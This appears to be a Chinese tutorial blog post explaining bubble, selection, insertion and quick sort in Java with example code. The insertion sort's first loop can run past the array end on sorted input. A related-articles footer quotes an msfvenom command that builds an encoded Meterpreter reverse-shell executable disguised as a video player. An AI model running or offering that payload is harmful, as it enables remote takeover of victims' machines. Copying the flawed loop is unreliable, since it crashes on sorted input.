【Java面试题】Java基础——排序算法

news2024/11/15 17:16:01

文章目录

      • 冒泡排序★★★
        • 算法步骤
        • 动图演示
        • 代码示例
      • 选择排序
        • 算法步骤
        • 动图演示
      • 插入排序
        • 算法步骤
        • 动图演示
      • 快速排序
        • 算法步骤
        • 动图演示

冒泡排序★★★

冒泡排序(Bubble Sort)也是一种简单直观的排序算法。

它重复的遍历过要排序的数列,一次比较相邻的两个元素,如果他们的顺序错误就把他们交换过来。

这个算法的名字由来是因为越大的元素会经由交换慢慢"浮"到最后面。

当然,大家可以按照从大到小的方式进行排列。

算法步骤

  1. 相邻的元素两两比较,大的放右边,小的放左边
  2. 第一轮比较完毕之后,最大值就已经确定,第二轮可以少循环一次,后面以此类推
  3. 如果数组中有n个数据,总共我们只要执行n-1轮的代码就可以

动图演示

请添加图片描述

代码示例

package com.iflytek.day18;

public class A01_BubbleDemo {
    public static void main(String[] args) {
        /*
            冒泡排序:
            核心思想:
            1,相邻的元素两两比较,大的放右边,小的放左边。
            2,第一轮比较完毕之后,最大值就已经确定,第二轮可以少循环一次,后面以此类推。
            3,如果数组中有n个数据,总共我们只要执行n-1轮的代码就可以。
        */


        //1.定义数组
        int[] arr = {2, 4, 5, 3, 1};

        //2.利用冒泡排序将数组中的数据变成 1 2 3 4 5

        //外循环:表示我要执行多少轮。 如果有n个数据,那么执行n - 1 轮
        for (int i = 0; i < arr.length - 1; i++) {
            //内循环:每一轮中我如何比较数据并找到当前的最大值
            //-1:为了防止索引越界
            //-i:提高效率,每一轮执行的次数应该比上一轮少一次。
            for (int j = 0; j < arr.length - 1 - i; j++) {
                //i 依次表示数组中的每一个索引:0 1 2 3 4
                if(arr[j] > arr[j + 1]){
                    int temp = arr[j];
                    arr[j] = arr[j + 1];
                    arr[j + 1] = temp;
                }
            }
        }

        printArr(arr);

    }

    private static void printArr(int[] arr) {
        //3.遍历数组
        for (int i = 0; i < arr.length; i++) {
            System.out.print(arr[i] + " ");
        }
        System.out.println();
    }
}

选择排序

算法步骤

  1. 从0索引开始,跟后面的元素一一比较
  2. 小的放前面,大的放后面
  3. 第一次循环结束后,最小的数据已经确定
  4. 第二次循环从1索引开始以此类推
  5. 第三轮循环从2索引开始以此类推
  6. 第四轮循环从3索引开始以此类推。

动图演示

请添加图片描述

public class A02_SelectionDemo {
    public static void main(String[] args) {

        /*
            选择排序:
                1,从0索引开始,跟后面的元素一一比较。
                2,小的放前面,大的放后面。
                3,第一次循环结束后,最小的数据已经确定。
                4,第二次循环从1索引开始以此类推。

         */


        //1.定义数组
        int[] arr = {2, 4, 5, 3, 1};


        //2.利用选择排序让数组变成 1 2 3 4 5
       /* //第一轮:
        //从0索引开始,跟后面的元素一一比较。
        for (int i = 0 + 1; i < arr.length; i++) {
            //拿着0索引跟后面的数据进行比较
            if(arr[0] > arr[i]){
                int temp = arr[0];
                arr[0] = arr[i];
                arr[i] = temp;
            }
        }*/

        //最终代码:
        //外循环:几轮
        //i:表示这一轮中,我拿着哪个索引上的数据跟后面的数据进行比较并交换
        for (int i = 0; i < arr.length -1; i++) {
            //内循环:每一轮我要干什么事情?
            //拿着i跟i后面的数据进行比较交换
            for (int j = i + 1; j < arr.length; j++) {
                if(arr[i] > arr[j]){
                    int temp = arr[i];
                    arr[i] = arr[j];
                    arr[j] = temp;
                }
            }
        }


        printArr(arr);


    }
    private static void printArr(int[] arr) {
        //3.遍历数组
        for (int i = 0; i < arr.length; i++) {
            System.out.print(arr[i] + " ");
        }
        System.out.println();
    }

}

插入排序

插入排序的代码实现虽然没有冒泡排序和选择排序那么简单粗暴,但它的原理应该是最容易理解的了,因为只要打过扑克牌的人都应该能够秒懂。插入排序是一种最简单直观的排序算法,它的工作原理是通过创建有序序列和无序序列,然后再遍历无序序列得到里面每一个数字,把每一个数字插入到有序序列中正确的位置。

插入排序在插入的时候,有优化算法,在遍历有序序列找正确位置时,可以采取二分查找。

算法步骤

将0索引的元素到N索引的元素看做是有序的,把N+1索引的元素到最后一个当成是无序的。

遍历无序的数据,将遍历到的元素插入有序序列中适当的位置,如遇到相同数据,插在后面。

N的范围:0~最大索引

动图演示

请添加图片描述

package com.iflytek.day18;


public class A03_InsertDemo {
    public static void main(String[] args) {
        /*
            插入排序:
                将0索引的元素到N索引的元素看做是有序的,把N+1索引的元素到最后一个当成是无序的。
                遍历无序的数据,将遍历到的元素插入有序序列中适当的位置,如遇到相同数据,插在后面。
                N的范围:0~最大索引

        */
        int[] arr = {3, 44, 38, 5, 47, 15, 36, 26, 27, 2, 46, 4, 19, 50, 48};

        //1.找到无序的哪一组数组是从哪个索引开始的。  2
        int startIndex = -1;
        for (int i = 0; i < arr.length; i++) {
            if(arr[i] > arr[i + 1]){
                startIndex = i + 1;
                break;
            }
        }

        //2.遍历从startIndex开始到最后一个元素,依次得到无序的哪一组数据中的每一个元素
        for (int i = startIndex; i < arr.length; i++) {
            //问题:如何把遍历到的数据,插入到前面有序的这一组当中

            //记录当前要插入数据的索引
            int j = i;

            while(j > 0 && arr[j] < arr[j - 1]){
                //交换位置
                int temp = arr[j];
                arr[j] = arr[j - 1];
                arr[j - 1] = temp;
                j--;
            }

        }
        printArr(arr);
    }

    private static void printArr(int[] arr) {
        //3.遍历数组
        for (int i = 0; i < arr.length; i++) {
            System.out.print(arr[i] + " ");
        }
        System.out.println();
    }

}

快速排序

快速排序是由东尼·霍尔所发展的一种排序算法。

快速排序又是一种分而治之思想在排序算法上的典型应用。

快速排序的名字起的是简单粗暴,因为一听到这个名字你就知道它存在的意义,就是快,而且效率高!

它是处理大数据最快的排序算法之一了。

算法步骤

  1. 从数列中挑出一个元素,一般都是左边第一个数字,称为 “基准数”;
  2. 创建两个指针,一个从前往后走,一个从后往前走。
  3. 先执行后面的指针,找出第一个比基准数小的数字
  4. 再执行前面的指针,找出第一个比基准数大的数字
  5. 交换两个指针指向的数字
  6. 直到两个指针相遇
  7. 将基准数跟指针指向位置的数字交换位置,称之为:基准数归位。
  8. 第一轮结束之后,基准数左边的数字都是比基准数小的,基准数右边的数字都是比基准数大的。
  9. 把基准数左边看做一个序列,把基准数右边看做一个序列,按照刚刚的规则递归排序

动图演示

请添加图片描述

package com.iflytek.day18;

import java.util.Arrays;

public class A05_QuickSortDemo {
   public static void main(String[] args) {
       System.out.println(Integer.MAX_VALUE);
       System.out.println(Integer.MIN_VALUE);
     /*
       快速排序:
           第一轮:以0索引的数字为基准数,确定基准数在数组中正确的位置。
           比基准数小的全部在左边,比基准数大的全部在右边。
           后面以此类推。
     */

       int[] arr = {1,1, 6, 2, 7, 9, 3, 4, 5, 1,10, 8};


       //int[] arr = new int[1000000];

      /* Random r = new Random();
       for (int i = 0; i < arr.length; i++) {
           arr[i] = r.nextInt();
       }*/


       long start = System.currentTimeMillis();
       quickSort(arr, 0, arr.length - 1);
       long end = System.currentTimeMillis();

       System.out.println(end - start);//149

       System.out.println(Arrays.toString(arr));
       //课堂练习:
       //我们可以利用相同的办法去测试一下,选择排序,冒泡排序以及插入排序运行的效率
       //得到一个结论:快速排序真的非常快。

      /* for (int i = 0; i < arr.length; i++) {
           System.out.print(arr[i] + " ");
       }*/

   }


   /*
    *   参数一:我们要排序的数组
    *   参数二:要排序数组的起始索引
    *   参数三:要排序数组的结束索引
    * */
   public static void quickSort(int[] arr, int i, int j) {
       //定义两个变量记录要查找的范围
       int start = i;
       int end = j;

       if(start > end){
           //递归的出口
           return;
       }



       //记录基准数
       int baseNumber = arr[i];
       //利用循环找到要交换的数字
       while(start != end){
           //利用end,从后往前开始找,找比基准数小的数字
           //int[] arr = {1, 6, 2, 7, 9, 3, 4, 5, 10, 8};
           while(true){
               if(end <= start || arr[end] < baseNumber){
                   break;
               }
               end--;
           }
           System.out.println(end);
           //利用start,从前往后找,找比基准数大的数字
           while(true){
               if(end <= start || arr[start] > baseNumber){
                   break;
               }
               start++;
           }



           //把end和start指向的元素进行交换
           int temp = arr[start];
           arr[start] = arr[end];
           arr[end] = temp;
       }

       //当start和end指向了同一个元素的时候,那么上面的循环就会结束
       //表示已经找到了基准数在数组中应存入的位置
       //基准数归位
       //就是拿着这个范围中的第一个数字,跟start指向的元素进行交换
       int temp = arr[i];
       arr[i] = arr[start];
       arr[start] = temp;

       //确定6左边的范围,重复刚刚所做的事情
       quickSort(arr,i,start - 1);
       //确定6右边的范围,重复刚刚所做的事情
       quickSort(arr,start + 1,j);

   }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Debian 12 “bookworm” 正式发布

经过 1 年 9 个月零 28 天的开发&#xff0c;Debian 项目推出了其新的稳定版本 12&#xff08;代号 bookworm&#xff09;。 Debian 12 包含超过 11,089 个新软件包&#xff0c;总计 64,419 个软件包&#xff0c; 6,296 个软件包已作为过时包删除。此版本更新了 43,254 个软件…

threejs让模型始终面向相机

需求&#xff1a;threejs导入3D模型&#xff0c;改变相机位置的同时&#xff0c;让模型始终面向相机。 实现方式&#xff1a;使用模型的lookAt()方法&#xff0c;设置模型lookAt的值 首次加载模型时&#xff0c;面向相机 load.load(/model5.glb, g > {// 获取相机位置const…

浮点数不再神秘:JS浮点数精度详解

文章目录 I. 引言JS中什么是浮点数为什么精度会受到影响 II. 浮点数精度的问题浮点数精度丢失的例子JS中最常见的浮点数问题精度问题对计算的影响 III. 如何避免浮点数精度问题使用精度库避免精度错误的方法显示控制精度的方法 IV. 浮点数精度问题与前端开发前端开发中的浮点数…

在k8s上部署vue

1. dockerfile镜像文件编写 # 拉取 nginx镜像 FROM nginx:1.24.0# 拷贝 nginx 配置文件到 docker中 COPY nginx.conf /etc/nginx/nginx.conf# 拷贝vue打包后的文件到 docker中 COPY webapp /usr/share/nginx/html# 新增时区设置 RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai…

【FreeRTOS】FreeRTOS 静态创建任务与删除

0. 实验准备 正点原子 STM32407ZG 探索者开发板 FreeRTOS 例程模板&#xff08;可以在这一篇文章找到&#xff1a;STM32F407 移植 FreeRTOS&#xff09; 1. 静态创建任务函数 API 1.1 函数简介 动态创建任务需要使用到BaseType_t xTaskCreate函数&#xff0c;我们可以在 Fr…

VUE L ∠脚手架 插曹Vuex ⑩⑨

目录 文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持✨ V u e j s Vuejs Vuejs C L I CLI CLI 插槽 ❗ C L I CLI CLI V u e X VueX VueX 1、概念 2、何时使用&#xff1f; 3、搭建 V u e x Vuex Vuex环境 4、基本使用…

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一&#xff0c;前言二&#xff0c;具体步骤1.软件下载2.环境配置 三&#xff0c;基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一&#xff0c;前言 在执行某…

Spring学习(一)(IoC和DI)

1.Spring是什么&#xff1f;&#xff1f;&#xff1f; 天天都能听到Spring&#xff0c;Spring&#xff0c;Spring。这东西到底是什么东西&#xff0c;是一个框架。没错通常所说的 Spring 指的是 Spring Framework&#xff08;Spring 框架&#xff09;&#xff0c;它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3&#xff0c;其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验&#xff0c;使他们能够与智能模型进行即时对话和交互&#xff0c;从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…

【全志v3s】LicheePi-zero BSP移植开发流程

文章目录 基于全志v3s的Lichee-zero BSP移植开发流程ubuntu 系统安装下载镜像换源备份源列表修改 sources.list 文件更改为清华镜像源更新并升级安装依赖库 安装交叉编译工具链安装编译器新建 tool 文件夹并进入下载交叉编译链创建文件夹并解压配置环境变量安装其他库验证是否安…

【C++】定制删除器和特殊类设计(饿汉和懒汉~)

文章目录 定制删除器一、设计一个只能在堆上(或栈上)创建的类二、单例模式 1.饿汉模式2.懒汉模式总结 定制删除器 我们在上一篇文章中讲到了智能指针&#xff0c;相信大家都会有一个问题&#xff0c;智能指针该如何辨别我们的资源是用new int开辟的还是new int[]开辟的呢&…

通用分页【上】

一、什么是通用分页&#xff1f; 通用分页是一种常用的分页方式&#xff0c;也被称为“前端分页”。它是指在获取数据的时候&#xff0c;将大量的数据分成若干页以便于用户查看和操作。通用分页通常是在前端完成的&#xff0c;也就是在用户界面上进行处理。通用分页的优点是可…

[Flask] 初识Flask

Flask是一个使用Python编写的轻量级Web应用框架 为了更好地管理Python应用&#xff0c;通常情况下都会在虚拟环境中安装Flask框架。在虚拟环境下&#xff0c;使用如下命令安装Flask pip install flask 我们可以直接使用pycharm工具创建虚拟环境&#xff0c;只需要在创建项目的…